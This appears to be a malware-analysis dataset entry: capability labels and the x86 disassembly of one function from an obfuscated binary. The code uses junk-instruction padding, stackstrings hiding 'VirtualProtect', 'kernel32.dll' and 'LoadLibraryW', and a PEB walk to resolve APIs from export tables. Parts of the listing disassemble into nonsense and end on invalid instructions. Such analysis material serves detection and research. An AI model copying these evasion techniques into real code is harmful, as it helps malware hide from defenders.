Function at 0x438499
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
xor edi, 0x5f4f
sub edi, 0x14757
pop edi
push ebx
push edx
add esp, 4
xor ebx, 0x115e2
and ebx, 0x875c
pop ebx
mov dword [ebp - 0x738], 0
enter 0xfffffffffffffff8, 0xffffffffffffffff
add byte [eax], al
add byte [eax], al
jmp 0x437fc8
push ebx
jmp 0x437fcf
pop ebx
push esi
push ebx
add esp, 4
add esi, 0xca4b
and esi, 0x144ed
add esi, 0x5379
and esi, 0xcb9e
pop esi
push eax
push ecx
add esp, 4
xor eax, 0xecbb
pop eax
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push eax
or eax, 0xf8dd
or eax, 0x16be
call 0x438025
add byte [ebp + 0x40], al
dec edx
xor al, 0x48
cmp al, byte [ecx + 0x46]
cmp al, 0x83
les eax, [eax + ebx*2]
push ebx
push esi
add esp, 4
xor ebx, 0x85f6
and ebx, 0x117a
pop ebx
cmp dword [ebp - 0x3cc], 0
je 0x43804d
cmp dword [ebp - 0xa5c], 0
jne 0x438093
push ecx
push edi
add esp, 4
and ecx, 0x621f
add ecx, 0x11a27
pop ecx
push ebx
or ebx, 0x10d8
pop ebx
push esi
push eax
add esp, 4
call 0x43807b
add byte [esi], dh
xor eax, 0x4345433f
dec edx
add esp, 4
pop esi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push ebx
or ebx, 0x13902
xor ebx, 0x13f72
add ebx, 0x10ea8
xor ebx, 0x9a48
pop ebx
push esi
push edi
add esp, 4
or esi, 0x13c4c
and esi, 0x6d4b
or esi, 0xb103
pop esi
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push esi
push esi
add esp, 4
and esi, 0xfbd3
pop esi
push edi
or edi, 0x783b
sub edi, 0x1117b
pop edi
push esi
push edx
add esp, 4
sub esi, 0x895e
pop esi
push ebx
push edx
add esp, 4
sub ebx, 0x13c73
pop ebx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push eax
push esi
add esp, 4
or eax, 0x101af
pop eax
push edx
sub edx, 0x29aa
add edx, 0x8d0f
sub edx, 0x7ae9
or edx, 0x12834
pop edx
push ebx
push ecx
add esp, 4
sub ebx, 0x5e95
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push eax
or eax, 0x1580
xor eax, 0xeb77
pop eax
push eax
push edx
add esp, 4
or eax, 0xb0e4
sub eax, 0x1079
pop eax
push ebx
push ecx
add esp, 4
xor ebx, 0x32e3
jmp 0x43821f
pop ebx
cmp dword [ebp - 0x150c], 0
jne 0x438238
mov dword [ebp - 0x2a8], 0
jmp 0x4384df
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push eax
push ebx
add esp, 4
add eax, 0x6ea1
and eax, 0xc014
sub eax, 0x23d7
pop eax
push eax
push ecx
add esp, 4
and eax, 0x8a13
pop eax
push edi
add edi, 0x125d
and edi, 0x15a21
pop edi
cmp dword [ebp - 0xc4c], 0
jne 0x438294
mov dword [ebp - 0x2a8], 0
jmp 0x4384df
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edi
push edx
add esp, 4
or edi, 0x9391
and edi, 0x236e
or edi, 0xb9ba
pop edi
push eax
add eax, 0x12be6
sub eax, 0x161b5
sub eax, 0xce5d
add eax, 0x7b95
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push eax
push ecx
add esp, 4
jmp 0x438307
xor eax, 0xefc8
add eax, 0x105ab
sub eax, 0x183da
pop eax
push ebx
and ebx, 0x3871
add ebx, 0x26f5
and ebx, 0x7bd9
pop ebx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push edi
push ecx
add esp, 4
and edi, 0x113e8
pop edi
push esi
and esi, 0x94b3
or esi, 0x156d0
or esi, 0x1814c
or esi, 0x11d2
pop esi
push ecx
push eax
add esp, 4
sub ecx, 0x1065
pop ecx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x4383d4
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x43842e
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x4382fc
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x4382fc
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x438418
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x438422
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x438477
push ebx
sub ebx, 0x4bdd
jmp 0x438445
sub ebx, 0x12b25
jmp 0x438450
pop ebx
push esi
push edx
add esp, 4
or esi, 0x1455f
add esi, 0x207e
sub esi, 0x14145
pop esi
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x4384df
push esi
push edx
add esp, 4
call 0x438488
add byte [ebp + esi + 0x45], cl
dec edi
aas
inc eax
add esp, 4
call 0x438499
add byte [eax + 0x36], dl
inc ebp
inc ecx
aaa
aaa
inc esi
add esp, 4
sub esi, 0x2bf2
and esi, 0x129c7
pop esi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x4384d5
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x4382a0
mov dword [ebp - 0x2a8], 0
push edi
push edx
add esp, 4
jmp 0x4384e9
jmp 0x4384f0
and edi, 0xb433
pop edi
push ebx
add ebx, 0x6675
add ebx, 0xcf07
add ebx, 0xea25
add ebx, 0x127ad
pop ebx
cmp dword [ebp - 0x2a8], 0
jne 0x438e16
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ebx
xor ebx, 0xaed1
sub ebx, 0x1271d
add ebx, 0xd091
pop ebx
push edx
push eax
add esp, 4
sub edx, 0x94d1
or edx, 0x18b0
pop edx
push ecx
push edx
add esp, 4
xor ecx, 0x3c0f
pop ecx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edx
jmp 0x438673
xor edx, 0x174e5
and edx, 0x9ee8
pop edx
push eax
push eax
add esp, 4
add eax, 0x2daf
pop eax
push edx
push esi
add esp, 4
sub edx, 0x19ae
and edx, 0x1409b
pop edx
cmp dword [ebp - 0x1518], 0
jne 0x4386b6
mov dword [ebp - 0x710], 0
jmp 0x43895d
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push eax
push ebx
add esp, 4
add eax, 0xea69
xor eax, 0x146b0
pop eax
push ebx
push eax
add esp, 4
sub ebx, 0x1834f
pop ebx
push ebx
or ebx, 0x16534
or ebx, 0xae1d
sub ebx, 0x11d62
pop ebx
cmp dword [ebp - 0xc58], 0
inc dword [eax]
jne 0x438712
mov dword [ebp - 0x710], 0
jmp 0x43895d
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edx
push ecx
add esp, 4
call 0x438731
add byte [edi], bh
dec edx
dec ebp
dec ecx
cmp al, 0x3f
inc ebp
add esp, 4
xor edx, 0x475c
call 0x438746
add byte [edi + 0x34], cl
dec ecx
inc edi
inc ecx
cmp dword [ebx - 0x3d7efb3c], eax
mov byte [ecx + 1], dh
add byte [edx - 0x73], bl
test dword [eax], ebx
jmp 0x85cd8757
push eax
and eax, 0x1724f
pop eax
push esi
push eax
add esp, 4
and esi, 0x99de
xor esi, 0x11f1
pop esi
push ecx
push edx
add esp, 4
sub ecx, 0x1366e
and ecx, 0xb8ea
and ecx, 0x6c8b
pop ecx
cmp dword [ebp - 0x710], 0
jne 0x4389d9
push esi
push ebx
add esp, 4
and esi, 0xf33e
and esi, 0x806a
pop esi
push ecx
or ecx, 0x162b3
call 0x4389c0
add byte [edx], bh
cmp al, 0x3c
inc ebp
dec eax
cmp al, 0x3d
cmp dword [ebx - 0x167efb3c], eax
cmp esi, ebp
add byte [eax], al
pop ecx
mov dword [ebp - 0xa58], 0
jmp fcn.00439501
push edx
push ecx
add esp, 4
sub edx, 0x11623
xor edx, 0x3d19
pop edx
push esi
push edx
add esp, 4
or esi, 0x1827
add esi, 0xb841
pop esi
push esi
sub esi, 0x1339b
add esi, 0x5d5
pop esi
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x438a4a
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x438d3b
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x438a72
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x438d3b
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x438aa4
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x438d3b
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x438ac9
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x438d3b
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
dec dword [ebx - 0x2ff7b]
inc dword [ebx]
inc edx
and al, 0x89
test dword [edi], ebx
invalid
dec dword [ebx - 0x71373]
invalid